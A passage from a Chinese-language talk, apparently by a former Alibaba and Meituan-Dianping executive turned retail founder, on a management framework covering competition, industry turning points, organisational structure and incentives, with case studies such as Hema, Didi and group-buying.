+回看外卖和出行早期的竞争，大家能想起来当时用户补贴强度很大。那么，用户补贴，我们怎么来印证竞争的不是补贴本身，而是资金效率呢？ + +坦率地说，某一个平台补贴一块钱，和另外一个平台补贴一块钱，之间的差异就在于，每补贴一块钱，能够带来几个新客、几个老客复购、几单流水、多少UE背后的毛利……同样是一块钱的投入，每个公司是不一样的，这就导致企业竞争谁能坚持到最后。 + +我们在美团点评时候经常讨论说，企业竞争最重要的不是打赢对手，而是等对手犯错。 + +就是说，今天竞争的核心，不是你真的是去强攻把别人灭了，“灭”这件事情在中国今天，说实话钱也不少、跳进一个跑道的团队也不少的情况下面，不是很容易。 + +所以，竞争的本质，是对手是自己把自己灭了，而这个灭的核心就是资金效率。 + +再进一步讲，资金效率是由谁来决定的？ + +本质上讲，是由人决定的。所以，我刚才提过，在左下角这个宫格里，我个人更倾向于因人设事。即在组织人的时候，随时随地对腰部甚至对头部干部进行质量梳理。 + +关于人，我自己也犯过非常多的错误。在大企业里，也常存在这样的问题。就是当我们招聘人的时候，实际上更多看的是他当下能不能产生价值，而往往当下能够产生价值的人，很难跟企业长久走下去。 + +或者说，我们选的往往是中等偏上的人，而不是真正做决策的人。 + +所以我们讲，左下角的企业组织价值观，决定了你企业作为平台方怎么去思考利员工。 + +在座各位同学，将来你们在思考自己企业和团队时，可能也会用到今天提到的这两个流派，到底先找到事情吸引人才，还是先找到人才把事情干成？最后根本的思考点，其实是资金效率的高低。 + +> 个人利他 + +右下角这个宫格，能做到的企业相对来讲就更少，也就是我们经常说的，凡是涉及到人的，往往就是艺术而不是技术了。 + +当一个企业的CEO、BGM、FGM，要开始用利他的方式思考时，本质上你要思考的是凭什么企业里面的每一个员工，在顺境逆境的时候都愿意跟着企业往前走？ + +我觉得是六个字、六个我从阿里开始就在梳理的字、六个字可能只有10%、20%创业者或高管能够意识并做到的字，就是“知人心、识人性”。 + +我们单说这六个字，大家可能觉得很容易理解，但是基本上大部分人是做不到的。 + +比如，一个企业的员工，无论是中层管理者还是基层员工，他今天回来开心或不开心，脸色是发光还是灰暗的……这件事情对管理者看似不起眼，但其实极其关键。就是说，当你面对直接下属甚至隔一层下属的时候，能不能知道这个员工在想什么？ + +这就是我从阿里开始，就特别关注人和组织的原因——我不认为只有事本身，事情就能做成功。 + +当你有关注人的习惯和意识——创始人关注VP、VP关注总监、总监关注他小的team的时候，整个组织就会以人文关怀去弥补制度的漏洞，弥补企业发展过程当中会出现的低潮期。所以我说个人利他，非常关键。 + +这是关于人的问题，我们来看一下事的维度——怎么从道的高度去看事情。 + +# 二、 关于事之道 + +> 行业竞争强弱 + +如果大家会发现，中国乃至全世界互联网企业，信息其实已经不被保密了。所有的信息，不管是真的假的。 + +所以我自己不大会看百度，不大会看媒体信息，因为我知道中国很多媒体信息70%都是PR做的，而不是真实意义上的信息。所以，你要在这种信息中去辨识对你企业决策有价值的，就产生了一个有意思的新名词，叫“猜疑链”。 + +竞争导致的猜疑链会改变竞争本身。 + +这句话怎么理解？当你身处的行业，有五六个竞争对手时，其实这五六个竞争对手都没闲着，他们每天晚上在做什么？ + +都把另外几个竞争对手今天发生什么、招了几个人、开了多少业务、有没有挖我的人、有没有很恶劣的搞几篇文章来吐槽……每天晚上大家都研究，包括我们自己的企业。 + +这就是真实在发生的事情——你有七成的时间在做企业运营，还有三成的时间在猜疑对手，所以我们讲叫“猜疑链”。 + +而当你在猜疑A竞争对手的时候，其实A也在猜疑B，B也在猜疑你……这种猜疑本身会改变竞争。 + +什么概念？就是说，本来没竞争，在猜疑过程中，就变成剧烈竞争。我就不举我们这个行业了，我们这个行业正在剧烈竞争当中。我举过去剧烈竞争复盘的的案例，让大家理解，为什么我们看事情，要先看竞争强弱。 + +团购那场仗，从2011年开打到今天也有七年了，基本上已经结束了，所以我们不妨拿团购复盘，来说竞争当中到底发生了什么？如果没有猜疑链，团购应该怎么发展？ + +事实上，团购打到末期，也就是美团、点评变成最后的两家对攻对手时，随后所有的演变和故事，都是因为对竞争对手的研究，而产生了变化，最终演变成今天的格局。否则大家想一想，为什么会从团购去做电影票呢？为什么从团购突然跨去做酒旅？ + +今天大家会觉得很正常，觉得因为有了团购的用户，去卖电影票就很正常，去订酒店也很正常。但大家要知道，如果以上帝视角回到2011年，其实是不正常的。 + +因为2011的时候，团购对标的是Groupon（每天一日一团），Groupon在美国是卖GAP五折券的商业模式。 + +那么，如果沿着团购早期鼻祖的商业模式走到今天，理论上我们看见的团购网站，应该主要就是做本地生活服务的——提供一些为了吸引新客的偏marketing的优惠券。 + +但是，因为团购到了中国之后，变成千团大战、百团大战、十团大战到最后双雄对决，在剧烈的竞争过程中发生了猜测，在猜疑时，发现用户对电影票的折扣敏感，因此改变了发展方向。 + +提个问题，如果说既然电影票很敏感，A企业选择从外部找到电影票的供给，接入自己平台，而B企业选择自己干电影票，那么两个路径有什么区别？ + +就是说，猜疑链、竞争链会令企业产生什么差别？ + +当接入电影票供给时，你卖的是电影票和折扣；但是，当自己干的时候，会发现卖的不是折扣，而电影票延伸出来的用户订座的需求。也就是说，产品的形态开始变化。 + +在团购网站上买张电影票，你的第一个动作一定是选个位置。如果用户要选位置，就逼着团购网站投入去做原来不具备的、跟电影院后台系统对接的实时选位置的能力。但是如果团购网站只是把供给接入，那么就不需要具备或投入发展这种能力。 + +也就是说，当猜疑链发生的时候，每家企业能力会在发展过程当中沉淀下来的能力会产生变化。 + +当猜疑链，竞争链发生时，自己干和直接接入外部供给，会导致两家企业能力发生演变。可能，A企业由于还是走垂直团购路线，就只是接入供给需求。但另外一家企业，就变成在每一个业态里从团购迭代、进化出去。 + +今天，坦率地说，再看猫眼，你还会觉得它是一个团购网站吗？ + +显而易见，你不会觉得猫眼是个团购网站，你也不觉得淘票票是团购网站，你只是觉得你要看电影然后上APP定个位置和时段。你甚至都不大敏感二十八块钱跟三十块钱一场电影有啥区别。 + +所以，作为创业者或企业高管，一定在思考“事之道”时，一定要对行业竞争强弱有强烈的意识。 + +从职业发展角度，尤其在大公司大品牌工作的人，理论上向内看的会更多，而不太向外关注竞争，因为你会觉得竞争是公司的事、是大老板的事，跟我这个执行的人关系不大。 + +但是，当你突然跳崖去创业的时候，就会发现自己根本没有判断竞争的意识，很快会被竞争对手给灭了，因为竞争对手每天在研究你，而你却从来不研究他。 + +所以，我在“事之道”这个框架里面，请大家思考的第一维度是竞争的强弱。 + +> 行业拐点远近 + +第二个维度是什么？是行业拐点远近。 + +最近这十年，这件事情发生的频率越来越高。从当初滴滴三年结束战斗；今天共享单车一年半貌似要结束战斗 + +—— 不知道叫不叫结束战斗，应该要结束，但现在看来是不知道怎么结束战斗，但总归快到结束战斗的时候；再到我们这个行业，看起来半年就要结束战斗的样子。这就需要你对行业拐点的判断极其准确。 + +行业到没到那个点，决定了一个企业家的决策效率和决策质量。 + +很多高管做决策是基于事情本身，但是聪明顶尖的企业家做决策是基于行业的。 + +我经历过阿里和美团点评两家公司，我觉得这两家企业最优秀、最卓越、最终能活到胜者为王的关键，就是这两家企业的核心决策团队的决策质量非常高。 + +他们都是基于超前的行业判断，而不是基于当下的竞争进行决策的。 + +所以行业拐点是什么概念？行业拐点会决定你敢不敢跨出边界。 + +行业拐点很远的时候，你不需要去跨越边界；但是行业拐点很近时，跨越边界就变成了一个组织必须去做的事。 + +所以，我从竞争强弱、拐点远近去组织四个维度，跟大家讲一讲我对于“事之道”的理解。 + +> 行业拐点远+竞争强 + +当行业拐点比较远，而竞争又很激烈时，我认为对企业的能力考验是巨大的。 + +拐点还远，说明行业刚起来，还要发展很长时间。如果竞争非常强，说明正处于这个行业早中期。这个时候，最重要的是，我自己发明一个词，叫企业对位竞争能力。 + +说白了，就是在局部每一个小的战场上，你的连长跟对方的连长、你的班长跟对方的班长、你的通讯兵跟对方的通讯兵，谁能够更强。于是，我又发明另外一个词叫，企业对位竞争的加权平均能力，谁得分高，谁就可以在这个维度取胜。 + +那么，什么叫对位竞争？ + +举个例子，如果你的行业有三家竞争对手，你作为CEO，一定要对另外两家的CEO的前世今生、决策习惯、思考逻辑、过去出的正确的招、失败的招……都要研究得非常透。我刚才讲叫猜疑链，其实竞争链也是这样。 + +比如说，如果你判断对方是一个很理性的人，你就要知道理性人的弱点是什么？就是他所有东西都要搭模、要有数据、要看见数字做决策、没有数字不会做决策，这是理性决策人的思维方式。 + +而感性的人就是我冒着一头热血往前冲，凭感觉，觉得差不多就打了。 + +每一个对位上的人的特点是不一样，决定了在每一个环节对标的时候，你胜还是他胜。 + +我们看一下企业的关键Function：我认为浓缩看其实就这几个职能： + +第一、毫无疑问是CEO； + +第二、毫无疑问是最关键的几个能力： + +1、技术和产品合二为一的能力； + +2、marketing的能力，而且marketing能力我认为品牌排后、PR排前； + +第三、是地面执行部队的能力。 + +尤其是，在接下来这个O+O的时代，你的产品技术决定了你的系统能力；你的Marketing和PR决定了你对外发声和品牌的影响力； + +而你的地面部队，无论是叫BD还是销售、或是服务，地面部队决定了你跟用户之间触达的能力。 + +从这个维度讲，你去检核你企业这几个位置上的对标，我自己也经常检核。在我们这个行业里面，我跟另外几个创始人之间的差异。当然我们这个行业现在突然进来的，感觉都是比较牛的人，这个时候的变化是不一样的。 + +就像早前如果说7、8月份你让我来讲我们这个行业竞争，我会讲这个行业还没到竞争。 + +因为玩家都是在以生意的角度来玩这个行业，一家一家公司、一个一个小店去开。突然到了10月，你就发现天变了。我们这个行业，一会儿京东说要来了、饿了么说我有一个小团队进来薅一薅，顺丰一会儿也说我们小哥也有优势……我们就瞎了。 + +各种团队都进来的时候，你会发现你的决策、你投入的资源会产生变化。就像原来说，我们可能在一个局部市场上打，后来发现变成了全国战争了，变成了一个别人说我们要大规模往前冲的时候，你应该做什么决策呢？ + +所以，我相信大家刚才会心一笑也是因为知道我们这个行业今天的竞争，基本半年就等于其他行业一年半打到最恶性的阶段了。 + +未来，如果大家真的要进任何一个新的跑道，我打赌，你得准备半年就打到最后的感觉。 + +经常讲，六个月或者是三个月就结束，如果你不这样做准备的话，我觉得你基本上可能是先退场的那个。我们这个行业，现在剩下的这几家大不愿意退场，所以大家在这里面就开始非常剧烈的对位竞争。 + +所以你看，当到了对位竞争的时候，企业往往会在哪里出招？ + +往往会出在挖人上面，因为对攻就是人对攻：你有一个好的BD的Leader，我也必须要有一个BD的头儿；你说你搞了一个阿里的，我就要搞个美团的； + +你说你系统很强，那我们就尽可能找Google、硅谷来的人搞一个；你说你有智能硬件，我们就说我们的图像、重量、人脸识别都能上，这个时候你就发现竞争维度上升了。 + +所以，大家要深刻了解对位竞争是一个CEO、BGM每天都必须要去想的，如果CEO跟对方的CEO相比，他是90分，你是70分，你就要想，这20分从你的下面哪个地方补。 + +两家企业放在这里，一家企业销售非常厉害，另外一家地推很差；但是另外一家企业可能技术研发能力非常强，而你弱一点；但是中间Marketing的能力大家都差不多。 + +这个时候很有可能就变成加权起来之后，你80分，他85分，那你们两家最终形成对决。但是如果说你只有某一项强，你加起来只有60分，那你就是先退场的。 + +所以，我们说今天企业的竞争在对位竞争里面比得是短板，而不是长板，你长板再长没有用，如果你都不短，这家企业有可能熬到最后，你才有迭代的可能性。 + +> 行业拐点远+竞争弱 + +另外一个维度，如果拐点比较远，竞争也比较弱的时候，企业怎么办？我认为，很多企业都死在这里。 + +比如说，美团、点评合并之后，基本就面临这个局面。就是说，竞争一下变弱了——千团大战到最后就剩一家，战争基本上结束了，看起来拐点又没到。这个时候企业应该做什么？ + +企业应该重新组织自己的能力，而不再是对攻。企业竞争最怕就是没对手，没对手的时候大家就会跌下来了。 + +中国成语讲说“知难行易”，从阿里开始我就把这个成语改掉了，我的理解其实是“知易行难”。 + +为什么我说知易行难呢？ + +其实做是非常难的。好比，企业的进化力，把它拆解讲就是企业里每个人自我学习能力、迭代能力。 + +讲起来非常容易，可以告诉大家你要多看书、多学习行业知识、多理解、多深度思考，你要输入一些东西、输出自己的方法论……每个人都会讲这套，但要形成整个组织的进化力，其实是非常非常难的。 + +光有CEO、BGM个人进化能力，不代表组织有进化能力。 + +我觉得，在整个组织里决策千万不能是个人决策。因此，我们每个月做内部决策讨论的时候，我们的方式是让每一个合伙人完整地讲述他的思考。 + +就是说，把每个创始人都当成CEO，他要讲这一个月过去后他对竞争的理解，他觉得应该怎么做决策。你再综合这样的输出，一起去做一个至少风险没那么大的决策。 + +那么我们回来看，大家要知道，现在的行业拐点理论上是被人为推着走的。 + +很多人和我聊，问我们这个行业，像人脸、图像、重量这些跟智能硬件相关的技术好像都不可商用化，为什么大家都在投入？ + +我自己在这个行业里面摸索，有一个偏乐观的判断：人工智能相关的技术，在物联网、线上线下结合、智能硬件、驾驶等等领域的应用，我们认为可能会在一年到一年半出现拐点。 + +那天混沌学院的同学们跟我们聊，说特别有兴趣了解我们这个行业，怎么就把一个开放式的东西放到企业？企业的人拿了怎么办呢？ + +这是一个非常好的问题。但如果大家都有疑问，那我们肯定是最先提出疑问的。 + +而我们提出疑问又杀进去做这件事，一定意味着我们有基本的判断——这个问题可能有一个解决方案，并且解决方案可能会在比较短的时间发生，所以要先进入这个行业。等你看见人工智能在智能硬件上应用的时候，其实已经没有机会了。 + +中国就是这样的，当你看见滴滴、摩拜、ofo机会的时候，机会已经不是你的了。人家已经跑了半年了，一个智能锁就变成一个行业的壁垒。我们这个行业的智能硬件也是一样的。 + +> 行业拐点近+竞争强 + +那么，当行业拐点变得越来越近的时候，竞争的强弱会带来什么不同角度的思考呢？我在这里放了两本书：一个《黑天鹅》，一个《灰犀牛》，作为关键的概念来诠释我想表达的意思。 + +大家应该对于这两个概念都理解吧？ + +黑天鹅。就是从来都不觉得它会发生，它却突然发生，改变整个行业格局。 + +灰犀牛，是你看到他离你非常远，觉得它对你完全形不成威胁，但是当它跑过来的时候，你发现它的势能非常大，冲到眼前以摧毁性的方式把你的行业给灭了。 + +大家觉得当竞争非常强和竞争非常弱的时候，对应哪一种？这个问题最近我们创始人之间讨论得非常厉害，因为我们正在经历这样的判断和决策，判断这个行业到底在发生什么。 + +举个例子，盒马最初出现引起全行业关注，因为它是阿里孵化的。可盒马一年半之前出现时，其实行业唱衰的占了大半——觉得这完全就是搞笑嘛，生鲜商超跟餐饮结合，空中还放个链条，里面穿梭一堆小哥在捡货，完了还要做外卖……觉得这个业态完全不靠谱。 + +对传统的商超来讲，卖货就是卖货，卖货就讲坪效、人效、毛利……可你搞那么一堆互联网概念，甚至把餐饮拉进来——搞生鲜商超的肯定不懂餐饮，搞餐饮的肯定也不懂生鲜商超。 + +所以，大家觉得这就是个尝试性的项目，不太可能有机会快速起来。 + +可现在，都已经变成盒房区了——但凡盒马开店的地方，房价就会涨。为什么？因为大家发现盒马这个新的业态 ——当然我们现在不能下结论它未来会成功到什么地步，也许不一定会成功。 + +但是当下，它变成了一头巨大的灰犀牛，当它冲过来的时候，把餐饮、原来的生鲜商超等业态完全冲垮了。 + +仔细想它背后的逻辑，餐饮加生鲜商超一定是有道理的。生鲜商超最大的问题是损耗，做过便利店、生鲜商超、鲜食行业的人一定知道，这个行业毛利本来就不高，损耗又占了20%、30%，毛利基本就全丢掉了。 + +而解决损耗的根本方法是什么？就是让损耗再被利用。比如说蔬菜卖相不太好看的，你能不能把它变成餐饮的原材料？ + +用户买生鲜的时候，一定要看卖相嘛，最漂亮的那只苹果、最漂亮的那只大龙虾、最好看的胡萝卜，稍微卖相差一点可能就不买。但是这些食材怎么办呢？原来就是扔掉，现在餐饮就在我旁边，就变成一个2B的链条，把损耗只要降低一半就是净利。 + +更何况它本质改变了人货场。原来的卖场只有场货，没有人，因为要用线上支付，所以抓住了人，可以把线下高成本的流量导回到线上，变成线上低成本的复购。 + +盒马现在的订单线上已经比线下多了，线上订单的平均客单只比线下低一点点，那这个线上订单里面的毛利就非常高了。 + +所以，你仔细想，它就是一头巨大的灰犀牛，它过来的时候你发现很慢、形不成行业的威胁，但是冲到眼前的时候，基本上整个原行业全冲垮掉了。 + +2007年、2008年的时候，在阿里内部有一句话对我的影响特别深，只是当时还没有这样的方法论去总结。 + +老马当时讲过对竞争看法的四段论，他说竞争往往是看不见、看不起、看不懂、跟不上的。如果我们说灰犀牛，就是看不起、看不懂 ——你看是看见了，但是你不觉得它过来会对你全行业造成摧毁性的影响。 + +> 行业拐点近+竞争弱 + +我们再回来看黑天鹅是什么？最近的三、五年，所有的黑天鹅都出现在共享的行业里面。 + +大家想想，当初出租车搞得挺好，尽管有怨言，但几乎没人会想得到滴滴的这种方式。而他们一夜之间出来，人们发现原来可以用手机移动端的方式去打车。 + +再回来讲为什么说共享单车是中国新的四大发明？所谓的发明就是你从来没有想到过，别人弄出来一个新东西，这就是黑天鹅的概念。 + +再到今天，回到六个月前，我们去见很多办公室HR或行政，人家一定会问我们你们拉进来的是一个什么东西？ + +莫名其妙拉一个冰柜、货架进来，然后说：你们什么都不用管，我们每天给你把货补上来，员工只要用手机扫一扫、买一买就行，货损你们不用管。 + +六、七个月之前，我们进每家企业都要解释，所以一个销售三、四天才能搞定一家公司。 + +但是今天我们再去任何一家公司，别人只是会考虑：我们应该选你们还是选别人。他们不再问要不要选开放货架、无人便利的业态了。再往下大家肯定会问，你能不能给我提供盒饭？ + +现在已经有很多人在问这个问题了，我们在部分的地方有酸奶、水果。很多女孩子以水果作为你们的午餐和晚餐（基本不吃饭），但是你的水果从哪里带来的？ + +以前我的印象很深，在阿里我跟阿干有一个非常让别人诟病的习惯，我们两个人经常下午三、四点钟开会时，他从包里面掏一个苹果，我从包里面掏一个苹果，然后两个人在那边对着吃，边吃边开会。别人觉得特别奇怪。 + +但是现在下午你掏个水果出来吃，别人觉得很正常。只是水果还是你自己从家里用塑料袋、食品安全袋包一包带过来，从来没有人想过在办公室可以马上买一个水果。我跟大家讲说，再过一、两个月，我们会在办公室放果切，你都不用再去洗跟削了，是切好的，里面给你放三、五种水果。 + +这个对于便利店来说是什么呢？就是黑天鹅！他没有想过 ——便利店已经很近了，300米，而你还有0米的实现方式。这对便利店来讲是难以想象的，楼都不用下，这个东西就在你的办公位的旁边。 + +所以我说，如果从竞争强弱、拐点远近去判断，我觉得过去中国的创业热门的东西，无论是盒马、电动汽车，还是过去的滴滴、现在的摩拜、ofo以及我们这个行业，统统可以用这样的二分法来区分企业背后竞争的决策。 + +那么，我们要怎么应对灰犀牛和黑天鹅呢？ + +如果是灰犀牛，比如那些生鲜超市，用上帝视角给他一年的时间倒回去，看见早期的盒马，你觉得那些生鲜超市会做什么决定——我们先撇开组织能力能不能对应的问题。 + +我觉得，在盒马的战场上，唯一真正能够对攻它的只有一家企业，就是永辉。永辉是原来传统行业里面真正牛逼的玩家。重要的是，永辉在线上线下结合的业态里面是最勇于投入资源，不断尝试的一家企业。 + +因此，我觉得当你面对灰犀牛的时候，最重要的是不要认为它不会发生。 + +所以，你会看到，为什么现在除了永辉，绝大部分的生鲜超市一夜之间哀鸿遍野。因为，当他们意识到要加餐饮时，却没有餐饮招商、运营、管理的能力；意识到要去做外卖时，连外送那套派单逻辑也搞不清楚，路线规划也没有那个know-how。怎么做呢？没办法做。 + +所以，当你判断你所在的行业是有很多灰犀牛的时候，最重要的应对策略就是始终要有一支小团队、小分队在不断尝试跟灰犀牛相关的业态。 + +这点我的感触相当深，在美团点评时，我觉得这就是那个企业会变成最伟大的企业之一的原因——几乎现在你能看到的那些所谓的创业机会，在美团点评里都有小分队在研发，每一个都有。快速试错，快速决定往前走还是关停，连充电宝都试过。 + +如果不去试，一旦它变成灰犀牛，可能对全行业都有冲击。 + +反过来讲，我觉得更难应对的是黑天鹅。例如，我们这个行业就是典型的黑天鹅。滴滴是黑天鹅，摩拜、ofo是黑天鹅。我觉得对于黑天鹅事件的应对和判断，往往比较难，所以很大程度上取决于CEO的输入够不够。 + +很多人觉得滴滴、自行车是一夜之间起来的，似乎都跟我没有关系。但我觉得，再往后走，类似的滴滴、摩拜这样的创业机会随时随地出现。 + +2018年是线上、线下结合的元年，线下用户仍然占有70%的市场份额，线下仍然有所有各种行业重构的巨大机会。而今天重构的思路往往是黑天鹅，而不是灰犀牛的思路，因为重构是完全不同的东西，不是改良的思路。 + +这就是关于“事之道”，我为什么讲这么多，因为在这一点上，我的感触非常深刻。 + +就是说，如果不能够从竞对强弱、拐点远近去分析行业、做决策的话，我觉得你的决策质量是有问题的，或者说，你没有看到Big Picture，而只是看到一个非常窄的角度就做了决策，你可能是在巷子里面跑，而不是在空中看你的行业。 + +# 三、 关于人之术 + +再看术的层面。我们先讲一下“人的术”。 + +术，说白了就是那么多的道，具体怎么操作？我觉得具体操作，决定了最后你的想法能不能做出来。所以，我们说企业竞争就是战略加执行力：战略×执行力=竞争力。 + +很多人觉得，人术就是用系统把人组织起来、就是把人按职能切分，用系统串联，每一个人在职能节点上效能最大化，整个组织的效率也就最大化 ——这是绝大部分人的理解和思考，也是一种非常理性的思考。 + +但是我的理解和思考完全不一样的，这也是我认为为什么今天互联网冲击传统行业时，传统行业无一例外都难以抵挡的最大原因。简而言之，互联网企业对人的组织方式，跟传统企业是不一样的。 + +我今天讲的人之术，是从说和做两个维度，而不是基于真正企业的管理角度。是企业主的角度上发声，我想强调我说你听、我做你看、你说我听、你做我看的概念。 + +大家思考一下就会发现，企业每年都有年会，你自己管理企业或部门的时候，也在开非常多的会议，那这些会议在做什么呢？在做向内的沟通。 + +但是对于今天的企业和部门，我觉得向内沟通已经不是决定性能力。相反，我觉得最重要的发声音应该是对用户、客户、渠道、供应商、媒体、行业……全渠道、全维度的发声。 + +所以，你会发现，通常的思路是，无论职业还是创业，我们的思维往往是把这个事做好就可以了。但在中国今天的创业环境里，如果不擅长组织整个公司向外发声的能力，其实你的竞争力会减小一半。 + +所以，我说你听、我做你看的概念就是，你要善于把企业的理念、做的事情，向外发出声音。 + +回到企业里，公司应该非常重视PR和GR的能力 ——这里的PR、GR不是简单地去打口水仗，这是我最不齿的 ——PR、GR最重要的是，你要向行业、政府、相关的用户、客户去诠释、解释今天你做的这件事情跟他们的相关性。 + +如果不重视向外的沟通能力，可能本来做的不错，但没有不断地向市场传递信号，可能在竞争当中会排到后面。 + +我们说中国的竞争，往往会经过这几个阶段：多进四、四进三、三进二，以及最后的决战。而这里最关键的、决定企业生死的是两个阶段，就是多进四、四进三。真的到了三进二阶段，就比较透明了 ——大家都认知行业的这三个品牌了。 + +因此，在多进四、四进三的时候，很大程度上取决于你的内功和外功，而外功就是向外沟通。 + +# 四、 关于事之术 + +我们再来看第四个，这也是我感触比较深的，就是在事情上怎么去落地。 + +这几年，我在带不同团队的时候经常讲，在推动公司向前发展时，要有一些节奏化的东西：以一年、三个月、一个月或者几天……为一个节奏，这根据行业的不同而不同。 + +在节奏中，最重要的是要有一个闭环——这个闭环在我自己的企业里也没做得非常好。 + +但在像阿里这样的企业，我认为之所以它能够一直传承，三板斧我觉得是做得非常好的。就是说，每一个部门做每一件事情都是按照这三段论在做：策略定型、组织保障、制度护航。 + +> 1. 策略定型 + +大部分人往往比较喜欢做策略定型。就是在策略上讨论非常多，我们应该做什么、怎么做——这就是个加法、减法等资源组合的问题。 + +当然现在因为竞争激烈，原来经常讲，战略要聚焦、专注。但现在大家慢慢开始说，企业的竞争是无边界的，要不断地在用户的链条上延展，不断增加行业。 + +这里没有对错，但策略要定型。 + +> 2. 组织保障 + +但是在策略定型之后的组织保障，我觉得很多企业几乎没有做，更没有做好。 + +组织保障里我分享两点，就是说，当企业定下一个策略的时候，往往有两种组织保障的方式： + +1、闭环式。 + +2、中台化。 + +闭环，往往被很多中小创业公司选择。尤其是当中小创业公司有非常多的事情可做的时候，为了跑得快，CEO第一反应会选择闭环去组织人力。 + +比如说原来的美团，做团购从产品研发一直到BD、做酒旅从产品研发到BD，做外卖从产品研发到BD，每一个赛道都是一个小的事业群、事业部，这个事业部拥有做这件事情的所有资源。 + +这是一种思考方式：一定要闭环，再小的事情都要闭环。因为只有闭环，leader才有绝对的指挥权，这个事情才容易被推快。 + +但这种方法经常被人诟病说是资源浪费 ——本来可以复用的，而现在每个地方都放一些技术和产品的话，整个技术产品能力都被稀释了。 + +但是现在又比较流行一种平台化的思考方式。从阿里开始搭中台，很多企业也开始搭中台。就是说，把所有后端可复用的资源用中台组织起来，再将业务在中台的基础上运作。 + +比如说，如果业务偏BD、偏销售、偏地推，那就用一个销售型的人组织业务；如果业务是线上用户体验比较重要，那么就用运营的人来组织……但是后端大的数据平台、商品库包括主要的SaaS系统，甚至包括客服，都应该在底层变成一个大中台。 + +我们今天看这两种组织方式，都有成功案例。我们自己也在思考，因为我们自己也有两条线：便利店和办公室的无人货架。 + +这两个业态理论上是有非常多可复用的资源，比如说供应链，理论上都是可以复用的——不就是买货、中间送货、上店上架的问题，但是我们现在仍然用闭环的方式去组织。 + +但是这是不是最好的选择方式呢？搭中台是不是能够让整个的采购和供应链的效率更高呢？不知道。 + +所以，企业不同的阶段，这种集中化的中台和小部队往前快跑的闭环方式，哪一种更好，可能还要完全取决于行业的竞争态势。 + +如果对跑得快要求高，闭环是值得的；而当然资源有限，你要想办法组织好；如果打到一定的程度上，比如说三进二、二进一的时候，我认为中台的可复用可能比较利于集团化作战。 + +> 3. 制度护航 + +在组织保障后，就是制度护航，我认为最关键的是奖惩。 + +我从阿里开始一路过来，非常深刻地理解一个企业的组织就是二七一 ——20%的人是Top；10%的人是养庸——他不发挥或能力不适配；剩下的70%可能一部分是合格的，一部分是偏不合格的。 + +在二七一的组织里，如果企业没有非常好的奖惩，让那些二觉得我应该做得更好，让那些一逐步被淘汰的话，前面的策略定型和组织保障都瞎扯，基本上就是变形——最后变成我做得好，企业没有态度、没有晋升和奖励保障，同时我做得不好也能混。 + +这个往往在超过500人以上的企业，绝大部分都会面临这个问题——因为奖惩不明，导致企业膨胀过程中，有一部分人养庸在那边不被发现。 + +我自己在美团点评、阿里，包括自己创业两家公司走过来，发现这就是一个大坑——这件事从道理上讲大家都理解，但在执行过程中往往人力资源是很难匹配。因为你会面临一个艰难的选择：如果二七一有奖惩的话，就把人赶走没人干活了 ——这是创业公司想得最多的问题。 + +但是往往等你可以梳理人才的时候，你会发现，你的文化其实已经被定型了——大家觉得反正也能混的时候，你突然出奖惩，企业就会有动荡，大家会觉得企业太残酷，组织文化就会有一个变化。 + +所以，从阿里开始，我们一直都在用三段论、三板斧，我今天分享给大家。就是说，在事的战术上，将这几个步骤配合节奏、目标，然后用闭环去做。 + +可能有些CEO偏战略，有些CEO偏执行，但是怎么把战略跟执行能够通过三段论串起来。我觉得这是一个比较难的事情。 + +所以，我把这个框架搭起来，把人事合一、道术合一搭回来，本质上就是十二宫格和三板斧。 + +我把整个企业的运营框架完整地搭给大家，因为我觉得如果一个CEO、BGM、FGM，每次遇到重大决策时，如果能够从这几个维度去思考跟梳理，然后再做决策的话，我认为这个决策质量不会差，不一定完全正确，但是决策质量是优的、是好的。 + +# 五、 势起人成 + +最后我想跟大家讲一点自己在框架之外的、回到创业这个跑道感触最深的地方，就是四个字。如果你现在问我，一件事情的成与不成，到底有没有规律可循，也是这四个字：势起人成。 + +> 1. 势起 + +什么概念呢？ + +先说势起。就是说，当你要选择一个好的创业切口的时候，你要看这个跑道的势能在不在，就是说这个跑道在不在往上升的势头上。 + +如果，这个跑道是一个非常平的势能，你进去要么是小成，要么就是难成。就像经济周期一样，每十年一个经济周期，你如果在经济周期的尾端开始杀进去，下一个经济周期你就能抓住；但如果你在经济周期的中端杀进去，有可能全是红海，你投再多的资源进去，基本上这个行业跟你没关。 + +例如，从滴滴的两、三年，到摩拜、ofo的一年半，再到我们这个行业半年到一年……你看见再进去，那个势能已经不在了，基本上被这个行业之前的玩家全部瓜分了。这个时候你进去拿不到钱、组织不了最优秀的人才、还会发现媒体、行业的眼光已经被吸走了……这些都是势能的核心关键。 + +所以，这就非常考验我们的创业者、BGM——你要判断公司是不是在一个行业的起跑点、起飞点的时候。我觉得你可能真的要对中国大的经济脉络、中国跟美国、中国跟全世界的创业规律，以及这个行业是否在拐点上，有一个清楚的梳理。 + +我分享一下自己为什么要选择即时便利这个行业，当初怎么思考的。 + +新零售提出来的时间点是非常短的。但是零售本身如果我们把它粗略的抽象出来，它就分成三段。 + +用户最容易理解的话讲，零售就是离你最远的卖场、离你中等远的商超、和离你最近的便利店。而这三种方式对场和货的组织方式都不一样——从商超里面几万个SKU，到便利店就2000、3000个SKU，组织方式是不一样的。 + +然后我们先看，不同的零售方式，在中国与在日本以及在全世界，是不太一样。 + +我们先看日本，为什么很难发生中国式的创业？ + +第一，日本的零售是极度发达的，在日本有十万家便利店和几百万台涉及到各种商品的自动售货机。它已经便利到不需要电商了 ——电商还需要三、五个小时，日本买任何东西下楼就能买到。 + +第二，从日本的国民性角度，日本的用户比较保守，在现金、信用卡和手机移动支付中，显而易见第一选择是现金。 + +因此你会看日本的电商是不发达的，日本的移动支付、移动扫码是很难发展的。 + +而美国，尤其西部，零售特点就跟城市的组织方式有关。美国几乎就是一个一个的town组织起来的社区。所以，美国的零售业怎么组成的呢，就是开个车出去（美国的车又便宜，基本美国是人手一辆车），到一个中心点。 + +这个中心点什么都有，从超市到服装品牌，美容美发，开个车拉一车回去，一星期解决掉。 + +所以，Amazon的组织方式也是在这样的组织方式上面建立了一个中心化的零售方式。 + +但是中国零售极度不发达。零售的玩家是由原来供销体系延伸出来的，要么是一些国有的玩家，要么是一些民营的玩家。 + +民营的传统玩家就不用讲了，人家以前真的是在菜场卖菜在肉店卖肉一发展出来的，他们的根基非常扎实，但系统化、用户的触达对于他们而言是个难点。 + +从20年前的阿里开始，中国经济在实现弯道超车，电商也突然面对着巨大的机会。 + 